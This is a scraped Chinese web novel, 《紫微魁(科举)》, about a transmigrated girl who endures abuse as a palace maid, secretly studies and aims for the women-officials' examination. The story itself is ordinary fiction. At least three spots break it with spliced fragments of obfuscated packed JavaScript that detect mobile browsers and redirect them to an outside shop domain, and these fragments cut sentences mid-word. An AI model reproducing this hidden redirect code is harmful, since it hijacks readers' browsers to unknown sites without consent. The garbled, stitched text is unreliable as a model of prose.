《紫微魁(科举)》 1. 序 三月二十三,初春倒寒来得猝不及防,逼出一场由夜至晨的疾雪。 雪片轻缓飘进刘监司鹰背灰的宫袍领子里头,激出阵阵寒颤,但这并不影响他继续放开嗓门责骂跪在自己面前的小宫女。 “……仗着生的一把好嗓子,和谁说话都拿腔捏调,怎么着?当自己日后就稳稳当当飞上枝头了?这回可好,朱玉碧那个贱人获罪下了掖庭狱,你没了靠山,还不是从伎乐司一个跟头栽进我这庶杂院里,拿扫帚、刷马桶?要我说,早知今日,你也别开罪那么些个人,现下被赶出来知道着急了,前些日子还窝在屋里头装那个病西施,我看你是花花绿绿曲牌子学毛了心思,满脑子都是和贱骨头八竿子打不着的江山美人儿。我可告诉你,在我这儿,就是西施来了,也得认规矩听使唤!” 边上的小太监听准刘公公话音落地,朝小宫女身前丢出一直拎在手里的木桶,一阵叮当乱响,桶里头插着的木尺和铁钩滚了出来。 “拿上!今天你自己去巡水。” 小宫女始终低着头,枯细手臂缓缓自青色半旧袖子里荡晃着朝前探,将木尺铁钩捡回桶里。偌大木桶在她手里犹如千钧,一个不稳,掉在地上,里头的两样东西沿着青砖甬道滚出两三丈远。 “你什么意思?这是要造反啊!不满刘公公派得差事?”旁边姓方的小太监先刘监司一步瞪圆了眼睛,抬腿照着小宫女的肩膀就踹,只见皂头靴硬如石头的底子就要碰到小宫女单薄的肩上,忽的前头闪出条手臂挡住小方太监朝前倾的身体,他抬腿的劲儿全吃回自己身上,连声哎呦倒地。 不等他骂,一旁的刘监司拔高了音调,甜润了嗓子,高声道:“老奴见过太子殿下,殿下千岁!” 小太监在雪天惊出冷汗,头也不敢抬,跪到了小宫女的身旁一连说了七八个有罪。 太子齐昀只略微点头,他年方十四,少年稚气未脱,个子却比眼前的刘监司还高出半头,看了看跪在自己面前的几人,他颔首示意方才拦人的侍随去捡起木头里的工具,一样样归好,放在小宫女的身边。 “七八岁的小宫女,不懂规矩犯了什么错,劳动公公多教教就是了。”齐昀说话慢悠悠和缓缓,如雪更胜雪,“更何况父皇龙体欠安,阖宫上下皆在祝祷祈福,还是不要闹出动静来,有伤天和。” “谨遵殿下金口。”刘监正一个字一低头,脑门直跟甬道的青石砖黏糊,“还不快谢太子殿下?” 后面这句,是对小宫女说的。 “谢太子殿下。” 小宫女的嗓音虽是有丝缕带病气的粗噶,却还是能听出原本柔滑天籁的本音。 太子略有惊艳的目光扫过小宫女单薄伛偻的脊背,很快又难掩焦虑的疲倦,只点点头,不再言语,带着两个侍随向着宫苑更深处走去。 …… 待到入夜子时三刻,雪只是转小,还没停的意思,此条从中朝去往内宫必经的甬道已是一条笔直的白练。 齐昀的玄色披风上描金的腾龙在夜里被庭燎照得晃眼,疲惫让他的脚步比白日更加虚浮,侍随放慢脚步跟从在后,踩出串串黑斑。 “殿下,进宫之前卢师傅就说了不许逗留,陛下也觐见过了,疾也侍了,祈福祝祷咱们也露面了,再折返一趟又有何益?还是早些出宫吧!” 齐昀沉默半晌,脚步却快了起来:“出宫前,我想再看一眼父皇……白日里的药他吐了一大半,人也昏昏沉沉,这么走了我实在不安心。” “殿下至孝纯仁,可是……” 苦苦哀劝的侍随被另一个同伴打断。 “等等!谁在那里!” 三人听见一声清脆的损破声,好像薄薄的冰面碎裂开,伴着木桶碰撞铜缸的鸣咚。 “是巡水的啊……”其中一个侍随走前几步看清了回头道,“好像是白天那个在这条路上差点挨了一脚的小宫女。真是造孽,这么冷的天,就安排一个人巡水,太不拿人当人了。” 齐昀也朝远望,白天途径时见过的青衣小宫女勉强比宫中甬道边储水备火的铜缸高,只得站在倒扣的木桶上面,先用铁签子刺穿缸内蓄水表面的一层薄冰,再将木尺探进去,确认水量是否足够。 “叫她下来吧。”一如白日早些时辰,齐昀不忍,恻隐之心骤盛。 侍随赶忙去叫下正抽出满淋冰水木尺的小宫女,齐昀走上前,借着庭燎的光,最先看清的是她正在因红肿而鼓胀,瘢痕深浅、红紫交叠的手指。 “你多大了。” “回殿下,十岁。” 小宫女行礼后回答。她的声音比白天更哑了。 “看着像是才七八岁,瘦的一把骨头。”一旁的侍随也有些不忍,继续替太子问话,“叫什么?在哪当差?” “奴婢尹月儿,听庶杂院刘监正教导。” 女孩的声音在这落雪的夜里平静异常,没有委屈,也没有哀告,她的回答得体且规矩,仿佛遭受今夜苦难的另有其人。 齐昀自幼长在宫中,也知道一些老太监和尚宫怎么磋磨看不顺眼的新宫人,于是眼神示意手下为她收拾好木桶放在脚边:“好了,你的名字我已然记下,快回去休息吧,明日我写个条子给你们监正,告诉他是我让你歇着的,免你两日苦工。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037454|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小宫女听到这般垂怜并没喜极而谢,她只是缓缓抬起了头。 她面孔稚嫩,瞳仁幽深黑暗,只庭燎的火照出一点星亮,那一点的亮却不是感激,而是奇异的、深重的怜悯与悲哀。 齐昀从没见过这样意味深长的眼神落在自己身上。 “殿下,前日尚书内省的杨尚书获罪,已然自缢,她的党羽,也都尽数伏诛了。奴婢的老师本是伎乐司的朱玉碧朱司正,她与此案并无关系,却因与杨尚书私交甚好牵扯其中,获罪落狱,和其他牵扯此案中的许多宫人一样,是生是死至今都还没有音讯。” 齐昀自幼被立为太子,久在中枢,这两年也常伴驾父皇习理朝政,当然知晓此事,只不过听着小宫女破碎却轻柔的嗓音说出这些日子宫中剧变之要事,竟有恍惚之感,仿佛前日已是遥远的昨日。 “杨内尚……曾为我开蒙,也算是我的恩师,可是……她身为内省的尚书,却私交外臣……祖训与律例皆所不容。我其实有向母后求请,但是……” 不知是因为意识到不该说还是不知怎么说,齐昀明白皇后并不是他的生母,他也没有办法动之以情,于是愧痛交加,颤抖着再说不下去了。 可小宫女的声音却依旧平缓得像是一去不回的河流,她望向齐昀:“殿下所言极是,杨尚书确实罪有应得,因为她的的确确是想通过关系,自禁内传出一份消息,为此她还找到了奴婢的老师,可是老师也束手无策。殿下,杨尚书想将消息传出宫去的地方,正是东宫,她是有不得不冒天下之大不韪的话,必须传到您的手上……或者说,她是为了您,才落罪而毙。” 齐昀听罢大惊,一个箭步上前,双手捉住小宫女单薄的肩膀摇晃:“杨师傅要告诉我什么?” “奴婢没有看见那张纸上写了什么,并不清楚何等机要。但奴婢却清楚一件事。” “什么事?” “眼下需要拯救的人不是我,而是殿下您才对。” 小宫女用自己满是伤痕的手,覆盖在太子搭在自己肩头的手背上,一字一顿道:“感谢太子为我两次垂怜……快逃吧。” 齐昀仿佛被烫到般收回手,倒退两步,谢字也顾不上说,似如梦方醒,带着两个随侍,朝来时的甬道奔离。 …… 史载: 正康十二年,三月二十三,太子昀篡逆谋父,帝知其忤,赐死,废为庶人。帝盛怒之下疾重不返,暴崩于建阳宫,庙曰穆,谥曰怀。享思陵。 帝幼子豫时年五岁,慧有天聪,冲龄践祚,继立大统,奉母孟皇后为太后,临朝称制,凡有诏谕,皆从后出。 2. 第一章 仲春转入夏季的六月,幸得昨夜雨水透天,暑热暂退,一丝难得的微凉在宫阙千重间弥散。 距离废太子过世已有三个月,回想起当日情形,尹月儿不免仍唏嘘慨叹。 废太子至孝宫中人尽皆知,怎会侍疾多日,忽然变了心性弑父弑君?这件事未必有这么简单。 当日,她感谢太子两次维护,最终不顾安危出言求益,希望能有转圜,无奈天家雷霆酷烈,所过之处,人命不过是霜雪一片,转瞬即逝。 一次因缘际会的懊丧也不过只是过眼云烟,她心中最需要解决的,是眼下自己的困境。 窗外,轮上休憩的两个杂役宫女因被刘公公摊派了扫住处外地积雨水的活,边干边暗地咒骂,几句低声絮语传进屋内尹月儿耳中,她飞快拿毡布包住叠好的衣服,走出去道:“姐姐,我也来扫吧,一起快些。” 两个宫女也是十三四岁的半大女孩,见是平日里一并总是挨欺负同病相怜的尹月儿帮忙,不免也有些物伤其类,便好言谢过。三人都是做惯了活的,动作麻利,赶在午间暑热重整旗鼓前扫净大半,借得午后太阳的燥劲儿,不一会儿扫过泼水的净地就干透出青灰本色。 三个人手上都慢下来,剩的那点慢慢扫,干久了活的都知道,这里做完,马上下个活就派下来,刘公公这样刻薄的人,不容她们闲旷。 这时候最适合闲聊迁延手上的工作,一个比尹月儿高不了多少的宫女拄着笤帚,问年纪最大的那个:“胡姐姐,住隔壁条房侍弄花草的金巧儿今日怎么收拾行李卷给人带走了?莫不是是犯了什么错?” “她啊,可不是犯错,是被尚书内省选走了。”被叫胡姐姐的宫女叹气的声调里都有三四分羡慕的转腔,“真是好命,也不过是比咱们多认几个字,往后就能和外头男人们一样读书做官了。” 尹月儿一直静静听着,这时候抬起了头:“我以为尚书内省就裁撤了呢,那姓杨的内尚书不是给砍头了么?” 大家都知道尹月儿正是因这牵连丢了原本的前程才来了庶杂院,胡宫女不由得夹杂了丝怜悯,却也觉得这话有些稚气的可笑:“我入宫前听我娘说,见过挪窝的和尚没见过挪窝的庙,庙在这儿,哪会缺和尚来念经?这不是换了个内尚书赵大人,听说是太后陛下亲自选的,学问没的说,如今已经给圣上讲经说课了。诶?我说月儿,你不是前些日子还帮人代写过两封家书么?怎么不去试试?” 尹月儿对于胡姐姐的母亲关于庙与和尚的群众智慧不能更认同,毕竟,如今她身体的这座庙,也换了和尚在念经。 尹月儿原本不是尹月儿,至于她从前的名字,现在似乎也没那么重要了。即便曾经的自己作为学霸,正摘获智慧和辛勤浇灌出的果实,如今也不得不从零开始,这一切都是因为一辆超速超载的货车,在高速上违反了本应至高无上的交通规则。 不巧,发生这件事时,她正坐在被撞的车上,预备来个新官上任前最后的回笼午觉。 都说人生没有回头路,但却有急刹车——还是别人帮你踩的。 尹月儿没得选择,睁开眼来,好巧,这副身体也因高烧不退刚死过一次,或许是一个九岁女孩懒得再和这个不公的世界较劲,在病中失了最后的意志,沉默着接受了命运玩笑般的终结。 可是尹月儿却不想终结,换过一条命,她也不想眼一闭再过去向命运再度缴械,于是打起精神,顶着这副被人弃生的身体,开始全新的生活。 然而宫里地位低下的宫女生活异常艰辛,还好她两辈子都有股强梁敢与天争的劲头,这才熬过了最艰难的时限,等来了她一直期待的曙光。 那就是尚书内省的这次选人。 挨欺负这样的事情,哪有人真的擅长?无非是被人欺压的隐忍,不得已而为之。但对于她来说,读书却是最大的长处,能施展原本的优势,她断然不会坐以待毙。 不过是这辈子再上一次岸,这段“经”她这个“和尚”再擅长不过。 “你们几个小鸟嘴巴滴滴哆哆,也胆敢议论起太后和圣上来了?” 一嗓门可称得上雄浑的声音吓得原本要接话茬的小宫女僵在原地,手上的扫帚啪一声倒进水坑,尹月儿见了来人却笑了:“王姐姐,你总算来了,笔墨我都预备好了。” 其他两个宫女似也听过这位宫女的名讳,齐道:“王姐姐好。” 被叫做王姐姐的宫女倒也不是生气才来这么一嗓子,无非是逗逗趣,似乎很满意其他两个小宫女的反应,她迈着大步跟着尹月儿走进了屋。 尹月儿在小方桌上铺开纸笔,墨是早就研好了的,两边人都坐了,她提笔蘸墨,悬腕纸上,抬头笑道:“王姐姐,这次写什么?” 边说边先动笔,在一张纸条上写了几个字:內工库对钥宫女,王宝。 这是将家书送出宫去时附上报备的递条。 经过这段时日,尹月儿已轻车熟路大部分见识过的宫中条例与规则。 这位名唤王宝的宫女,正在内工库当差,肩臂粗壮,一看便是干得了劳累活的,年纪三十来岁,颇受其他宫人敬重,谁路过都点个头,露个笑模样。她大喇喇坐下后,自己给自己倒了杯水,开口说起家书的内容:先问父母兄弟姐妹安好,父母身子怎样,从前的药吃着还是换了方子,临近婚嫁年纪的小妹是否许了称心的人家,妆奁够不够,兄长攒没攒够买骡马的银子,家中老犁头开春可教镇上铁匠重新淬过,如此种种,絮絮繁繁四五页,最后才谈及自己宫中日子安好,饱饭敞开了吃,无需牵挂。 尹月儿用白话写毕,又确认一般是否有遗漏和补充,最后落上姓名及年月日,递出。 王宝心满意足接过信,麻利叠好,塞进已写好地址的信封里:“不错不错,就是一点,我虽不识字,但也入宫这些年拖人写的家书也有个千八百,你这字歪斜得厉害,好似前头一个跟后头翻着跟头打架,不过想来不怪你,做了这小半年粗活,手糙了再想握笔也是离了歪斜,回头我给你捎份儿蛤蜊油,你好好养养,别落下病根。” 尹月儿上辈子的字只有人夸,没遭过数落,此际不免有些惭愧:自己实在不会写毛笔字,来了此境也曾抽空偷偷拿软树枝尖在沙地上练过,全无进益,不过尽量规整还是勉强能够做到的,况且她识字足够多,有些繁体也曾见过写法,写出来间架结构倒也不是很突兀,和不识字硬画还是有些区别。 王宝见她低着头半晌不言语,以为自己话说重了,便一巴掌拍在尹月儿背上,大笑道:“我本不该挑理,识文断字的太监宫女写两句报平安的吉祥话都要二十个大子儿,你虽是图个好,少派辛苦差,一分不要却也可怜。就是觉得可惜了识字的本事。尚书内省要在小宫女里选一辈人读书习字的事你可知道?这可是好机会,你得空了再练练字,选上了也好,这般乖觉可人的小姑娘,可怜在刘公公这老狗手下磋磨。罢了,不说这个,你拿着。” 说着王宝捻出五个铜板,实实压进尹月儿纤小的手掌:“别胡花,你年纪小,往后啊,宫里头这玩意儿有的是当用的时候。” “王姐姐,我替你写家书不为这个,我是想图个好,宫里的哪个姐姐不是见多识广,提点我一句,顶我闷头苦熬十年了。尚书内省选人事,前两日我似乎听姐姐们说起过,就是刘公公看得紧,没工夫出去打听……好像乱打听也不太好。” 她声音柔和细腻里掺杂着一丝疲倦的粗噶,听得更让人心疼,王宝摸了摸她瘦得快没肉的脸蛋,尹月儿的皮肤并不细嫩,但被王宝一搓,还是仿佛砂纸搓过一般,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037455|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝火辣辣的疼。 “好嘴,会识字就是比咱们睁眼瞎强,你这丫头,看着面面和和,挨了棍子也不叫疼,实际主意却挺正。得了,我去给你问一嘴,回头飞出这间屋头,也别忘了王姐姐的好。” 说完她收好信和递条,笑呵呵走了。 看了看太阳,思索了时辰,尹月儿抽出方才叠好的包裹,也后脚跟出了门。 庶杂院在禁宫内靠西一侧,远离正经宫室,却离平日里送入递出运货走办事宫人的西门近得很,走出三五百步,就是由禁军把守的门禁,尹月儿当然没有出宫的腰牌,她只是静静站在一旁等,看着几车运货的马车排队接受搜查,终于看见一个一瘸一拐走路极慢的宫人朝西门走来。 来人是个老妪,斑白的头发只用一老竹发簪梳出整整齐齐的扁髻固定,并无上了年纪宫女常见的银饰青玉等钗环,素色旧衣干净却落魄,只一个极小的布包拎在手里。当她看清快步走进的尹月儿,眼中立即漫起一层泪光。 “朱大人。”尹月儿捧着毡布包,“我托人带了几件你过去的衣裳,您出宫后总得有的换洗,里面还有两包干粮,一小袋盐,您都带上。” 朱玉碧曾经是伎乐司的正五品司正,出宫办差乘船近泊时,无意听了夹岸水畔捣衣的农女清唱乡间小调,一时惊为天人,下船再问再唱,笃定此女乃是天赐歌喉,此际慧眼识英惜才如金,问过家人,将其带入宫中预备培养。谁料一夜风急,禁庭权斗诡谲,她也不能独善其身,可怜被带入宫的女孩遭她连累,又不幸遇见早年因她仗义执言而结了梁子的刘公公,百般折磨,如今她最终得了新内尚书的求情,活下一条命,得以告老离宫,可这女孩却还要在没人庇护的禁宫中求存。 这个女孩,就是她眼前的尹月儿。 隔了几个月未见,她更瘦了,十岁的年纪,却只有七八岁的身量,思及自己无能,朱玉碧再度落下泪来:“早知……我何苦带你入宫……都是我造了孽,苦了你……” “朱大人,我不怪你,您也别怪自己,我知道自己生病的时候,是您求了人给我捎带了药,不然我也没命在这里送您。” 尹月儿说得是实话。想来回帝京的一路作伴,年纪似祖孙的二人也有了关切依赖之情,所以朱玉碧关在禁内的牢里自身难保之时,还不忘求告庇护尹月儿。 穿越回魂,莫不是这一命之恩的缘故,加之开罪刘公公的必然不是什么坏人,她也愿意尽绵薄之力感念一送。 女孩声音早已不复起初时的天然婉转,可本怯柔的声调却不知怎么,几个月后再听来已变得笃定平和,仿佛命运艰难却任由其如履平地一般无有疑虑。朱玉碧不由凝看,尹月儿还是那张乖巧温柔的脸,瘦也确实是瘦了,但不见孱弱的病态,眼中光芒比之过去更添了锐意。她不知是什么改便了这个女孩,却也被这份从容所感,渐渐平息了泪泣。 “可怜我如今一无所有,责罪查抄后想给你留些银钱也不能,宫中之人对我唯恐避之不及,过去的人望你也无法沾光。”朱玉碧轻叹一长声,“可是月儿,我虽不千伶百俐,牵连之下无能保命,可好歹几十年宫中的风雨也曾是过来人,我有些话想提点你,你要好好听进心里头去。” 尹月儿郑重点头。 “宫中之人,自称奴婢,唯有尚书内省女官,身份不同,可自称臣。孩子,在宫中,这一字之差犹如天堑,我已没有能力给你铺路,在离开之前,我托人给你捎了两本开蒙的书,原本那书也是找来给你读的,你回去好好学,不要怕苦,不懂就追着懂的人问,看过了去参加尚书内省的考选,千万不要被践踏着过这一辈子。” 朱玉碧说罢紧紧握着女孩的手,泪眼婆娑不能语多,许久才再颤声开口:“我们娘俩,都要好好的活着……” 3. 第二章 第二章 朱司正离宫的一个月后,尹月儿一直在庶杂院隐忍低调求生,今天,她分到的差事是整理烧热水的柴垛。 这是最辛苦的差事之一,不说柴火一堆堆像小山一样,码放整齐耗费力气,单是木头上的倒刺就有够受。 宫人当值日前一晚都要冲洗身体,保持在贵人面前的仪容和洁净,禁内西苑宫女住处后就有专为宫人预备的柴房净室,烧水码柴都是庶杂院的差事。 宫中之人行事,历来是趋炎附势、月晕而风。但凡宫人,能在贵人面前露脸的差事无不是挤破头抢漏鞋,而人下人的琐碎,各个唯恐避之不及,故而往往都是身份低微的宫人吃亏。 尹月儿常常吃亏,不过在她看来,焉知非福。 小姑娘的身体实在瘦弱,大病一场后,从宫中甬道走个来回都要喘粗气,身体是生活的基石,头脑能够高效运转也是身身体机能不可分割的一部分。尹月儿着意锻炼自己的身体素质,拿出当年备战体测的劲头,从不嫌弃粗重活,做不完她挨顿骂,第二天接着干,任劳任怨的态度倒让刘公公这般刻薄的人都觉得无趣,索性提起她都比从前少了。 尹月儿很讨厌这个坏心眼比他脸上褶子都多的顶头上司,然而事有轻重缓急,当下要务,还是先摆脱困境,朝前迈出泥淖,好过和这些渣滓纠缠。 做事有条理讲方法是尹月儿上辈子活得还算成功的秘诀之一,眼下身体和头脑的武装都刻不容缓。没有什么的优先级能高过二者。 作为自己力量训练的一环,搬柴实在和举铁有异曲同工之妙,就是手指扎了木刺,再一个个拿喷酒的针尖儿挑出来实在麻烦,可是不挑,晚上翻书的时候又疼的厉害。 她所读的书,都是朱司正临出宫前托人送来的,大概是伎乐司小宫女们平常识字的书,书页虽发黄略有损折,书封却是重新补过新裱纸的,书脊的封线也簇新紧实,都是新换,想来朱司正舐犊之情,拿到旧书好好整饬一番,预备给小月儿开蒙启读,只是世事无常,尹月儿不由一叹再叹。 幼童开蒙,宫中与市井所读并无差别,尹月儿拿到手的除了《三字经》、《千字文》、《百家姓》外,还有一本《蒙求》。 其中内容对原本名校毕业又考公上岸极为擅长学习的自己确实有些过于基础,但尹月儿需要让自己慢慢适应这个时代的语言和遣词,熟悉除了常用繁体字外更深奥的书面字词、掌握常用典故,这些书就显得绝无替代,不可轻忽了。 一面在柴垛前劳作,尹月儿一面默记昨日夜读的内容,待到午前吃饭时,今日自学和锻炼的任务都顺利完成二分之一,她正打算洗洗手先去补充体能,谁料柴房刚迈出去半步,就被三个太监堵在当中。 “方公公好。” 这是刘公公的干儿子,庶杂院第一狗腿子,当初太子面前差点踹自己一脚的便是此位。最近刘公公没工夫磋磨自己,姓方的也不常见,谁知今日怎么忽然杀过来? 稍转念想,尹月儿规矩问好,结合这些日子自己身边那无端影子的探头探脑,心中却有了沉着的推断。 “拿下她!” 方公公说话腔调模仿自己干爹模仿得走火入了魔,无奈他是公鸭嗓,吊起音色来听得人耳朵疼,尹月儿觉得这可能是他特别讨厌自己的原因:有一副他没有的好嗓子。 尹月儿被提着回到宫女们的住处,这是个二十人睡的大屋,并着放了二十张局促的细长条床,尹月儿自己的那张铺盖都十分整齐,挑不出什么错,旁边站着就睡在自己旁边的小宫女,正是当日和自己一起与胡姐姐聊闲天的同辈。她见尹月儿被提了来,眼神交汇时似乎有那么一瞬间心虚的意思,可很快,便又梗起脖子,努力隐藏眼神里的幸灾乐祸。 方公公一声令下,两个太监掀敞铺盖,抖落被褥,开始翻找。 “还是伎乐司出来的玩意儿花花肠子多,还会韬光养晦了?” 也不知是戳穿尹月儿的心思还是用上了讲究的词哪个更让方公公兴奋,他拿出高八度的腔调,得意至极:“我倒要看看你是从哪偷出来的书本,治你个什么罪好!” 可很快,方公公发现,尹月儿听了这话没有慌张瑟缩的心虚,坦率得直视反倒看得告密的小宫女有些不自在。 尹月儿当然知道自己半夜是有偷偷去院子里读书,夏夜少云,月光满溢,外面庭燎又有现成的光亮,她经常捧着书出去,教人看见倒不奇怪。 世上从不缺助纣为虐的伥鬼。 床铺翻了个底朝天,连尹月儿更换的内衣袜子都甩出来抖落得一干二净,几张没写字的纸是她预备给人代写家书的,然而有字的纸却半张都没见着。 “我明明看到书就在这儿的……她半夜偷偷起来挨着窗借着月亮看……” 告密的宫女慌了神,干脆自己上手翻找,过了半天,依旧一无所获,急得额头的汗和眼角不甘的泪都一并朝外涌。 “她睡觉说梦话还之乎者也的!小方公公明鉴!” 尹月儿静静听着针对自己的指控,看着方公公轻声道:“公公,我不够饭吃,半夜饿了就出去喝水,总是起夜……” 方公公气得直摆手,转身给了告密的宫女一巴掌,怒道:“看老子我闲得慌是不是?爱嚼谎,今日庶杂院的恭桶你都给洗了!”说罢领着人离开了。 挨了打,宫女委屈得直掉眼泪,却不敢再言语,尹月儿默默收拾起自己的铺盖,看都不看她一眼,转身去吃饭。 入夜,她照常披衣出门,反正二十人的屋子,起夜的人络绎不绝,她看了看身旁空着的床铺,没有任何多余的感想留给不值得的人,轻手轻脚出了门。 月辉清明,碎影婆娑,去柴房的路上没有其他动静,巡夜的禁军一个时辰才过来一次,她仔细算过,这会儿刚走没多久。 待到今日码柴清理出的一块隐蔽净房后空地时,三个高矮各异的影子都被月光拉得差不多一边长,尹月儿轻轻咳嗽,三个人影一起回头。 “我来迟了,姐姐们都等久了。” 尹月儿声音压到最低,抽出根粗的柴薪,挨着三人围着小小的烛火坐好。 “没迟,今天我看见方公公像斗鸡似的拎你进屋,真是吓破胆了,还好月儿早就机警,没留把柄在手里头。” 声音干脆爽快的宫女听得出是努力压抑才能让声音更低的,她自怀里取出四本薄薄的小书,正是朱司正留给尹月儿的。 尹月儿很满意自己成立的学习小组,接过书笑道:“咱们轮着藏,四个人也好串听消息,若是一个露了马脚,其他人一来好告诉,二来好帮着遮掩藏匿。” 这三个女孩都是十四五岁往上的年纪,在宫女里与尹月儿一样,受排挤遭不公,尹月儿几个月在庶杂院见得多了,留了心眼,选了三个她觉得最有心气也可靠的私下联系,一起习字读书,三人无不欣喜。 其实宫女看个书不是什么罪过,尤其是这些开蒙的读物,更挑不出错处。只是若刘公公和他的手下有意为难,再揪着这书的来历冷不防牵出朱司正来,尹月儿又得掉层皮,多一事不如少一事,更何况在他们眼皮子底下欺瞒,对自己来说别有一番快意。 “真是邪了门了,寻常受冤枉吞委屈,不见这些眼尖会瞧的人出来说句公道话,偷偷看两个字,倒让他们来了精神。”另外一个小宫女冷哼排揎告密之人的小心思,“无非是见不得人好,心里头脏!” “其实算是什么好呢?咱们几个学个字,又不是人人都要去考尚书内省做女官。”最后一个一直用手拢着蜡烛微弱火苗的圆脸庞小宫女叹了口气,“我不过是想省着点银子,自己写家书寄出去,一个铜板有一个铜板的用处,宫里头想混个好,哪处不得使银子?” “还是孔姐姐有福,要被指去六局二十四司里当差,见到主司女官,谁知是不是贵人主兆?”小宫女声音里都透着艳羡。 被夸的正是头一个说话年纪最大的孔姓宫女,她虽也得意,却仍道:“什么贵人?银子才是贵人,我攒了七八年的体己,家里头又给我凑了些,才够疏通。若是不学着认几个字,各典司女官要我跑腿我都认不全牌匾,给人退回来这破地方,岂不白费了全家的心血和我自己的筹谋?” 每个人都有不得已的理由,大家都很珍惜能读书的机会,尹月儿静静听着,起初她成立这个“学习小组”,确实有风险共担的意图,但慢慢的,几个人学了大半个月,她却愈发觉得自己是在做一件让人生变得更有意义的事。 “还得是咱们月儿,脑子就是厉害,看一遍就能记住,还能教咱们。老天赏饭的能耐,可不能糟蹋,一定要考进尚书内省做个风风光光的女官。”孔姐姐低声笑道,听得出话里的真心实意。 其实,王宝已经替尹月儿问了尚书内省的考选门道,但是还没到时候,尹月儿也不急着分享,只是笑笑,翻开书,取出用作书签的枯树叉:“还有半个时辰,蜡烛点完前,接着上回的‘季布一诺,阮瞻三语’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听着阿万隐隐的嘶气声,年纪最小的宫女面露心疼,在一旁轻轻吹,并给孔姐姐举着剩下的布。阿万忍着疼,也不敢大声说话,待收拾完道过谢,她才长长喟叹一声:“读书真难啊……干活也真苦,这世上,到底怎么才能不费劲儿就能舒坦的过日子呢?” 这话引起了几声叹息般的符合,最小的宫女低低道:“不知道外头男人读书是不是也这样辛苦,读不明白的时候,会不会觉得对不住爹娘。” “辛苦其实不怕,怕得是没盼头。”孔姐姐摇头啧啧,却不是对女孩们鄙夷,而是另有所憎,“世道不好,老嬷嬷说,这是人心不古呢,上头的人勾心斗角,到咱们头上全是难处,所以说,读书不为别的,是为了有个盼头。” 尹月儿一直静静听着,她将小瓶放进阿万已经包好的手里,翻开今日读过的书页,隔入一片薄薄的树叶。 “咱们都先照顾好自己,读书的难处,全天下都是一样的。好好照顾身体,耐得住性子,一步一步朝前走,前面有什么,咱们未必知道,但留在原地现下的日子,我们却再清楚不过,先朝前看,走起来。” 这话别人说不免显得有些托大,可三个女孩都知道,她们这些日子所受的全部辛劳,可能还比不上尹月儿在庶杂院遭受的一半苦楚,她却还耐着性子安慰自己,鼓舞大家,这话便格外有分量和说服力,让人心头又暖又有劲头好好活下去。 “就听月儿的,往后好好过,认真活。”孔姐姐率先表态,笑得眼睛弯弯的。 正在兴头,待其余人往下说时,却忽得听到一声近乎尖锐的“诶呀”。 四人早在尹月儿的指挥下做过逃散的“演习”,对视一眼,心照不宣,立刻藏书的藏书,灭蜡烛的灭蜡烛,踩花地上字迹的猛扫几个来回,干净利落不留痕迹,朝四个方向轻声快走,离开是非之地。 尹月儿走过墙下,远远看清有一团淡橘色的光晕,方才那个轻柔的少女音色正在她们原本躲藏的“教室”后面,不知和谁在抱怨嚷嚷: “公公怎么净在背后吓人,来得正好,我们司正发脾气呢!这几日暑气重,前些日子分给我们司的炭火和柴都受了潮,司正在太后陛下前当值整日这会儿才下来,竟连口热茶都喝不上,我可不敢惹她那脾气,幸好住得地方离得近,赶紧跑来找些新柴做水……” 不知怎么,回了自己床铺上睡不着的尹月儿怎么想怎么觉得,这声音是故意放高了声,仿佛在提醒她们来了人一般。 一夜惊魂,平安无事,一连好几天,几个人不敢再聚,只能偷偷自己练读,若有不会,趁着休息的功夫来询问尹月儿。 终于到了八月初五,尹月儿替人做了好几天辛苦差事,换来一日轮休,一大早,所有人都找不见她的影子,所有人都以为,她又不知被谁叫去跑腿了。 然而尹月儿却站在西苑深处睿思宫前,向着往后的人生,为了主宰自己的命运,朝前迈出了她的第一步。 4. 第三章 第三章 禁内西北重重高垣叠叠梓柏深处,正是尚书内省所驻的睿思宫。 这一自本朝立基之处延续至今的重要行政部门深藏在此间几乎与世隔绝的宫室,却拥有堪称一人之下的权柄。 多亏王宝的打探与告知,尹月儿才能在个人收集信息能力极度有限的情况下了解更多这一机构的秘辛。 尚书内省乃是本朝太祖所创,前朝虽有女官机构的雏形,却不及本朝正式授予明确的职权和权力范畴更为权威。 前朝内宦权柄之重,不可不谓王朝始乱之源。当时内廷的宦官,退能富甲一方、再造族胄,进能改弦更张、移天徙日。终于,一内宦谋逆弑君自立为帝的闹剧将一个时代的帷幕深深扼在四海癫乱之中,直到本朝太祖龙兴伐业,再造山河,天下才算再度回到国泰民安,百姓才重新过上休养生息的消停日子。 一般前一个朝代病灶何处,后一个朝代都要引以为戒,于是太祖严令内宦只作杂役奴婢驱使,禁止接触朝政与任何文书档案,远离一切权力。 像刘公公这种无的放矢的“上进”心气儿,只能靠病态的欺负小宫女来纾解。 为了解决皇帝在内宫之中的秘书班底问题,太祖和自己的母亲秦太后选拔出一批无论经史学识还是眼界韬略都令人钦敬的女子入宫为官,钦定尚书内省制度,协助太祖和太后处理朝政。 到了后期,尚书内省制度进一步完善,却因为权力的进一步增长,牵引出一些帝王所不愿意得见的案事与隐秘。 个中始末,王宝问得老宫人也是不知。 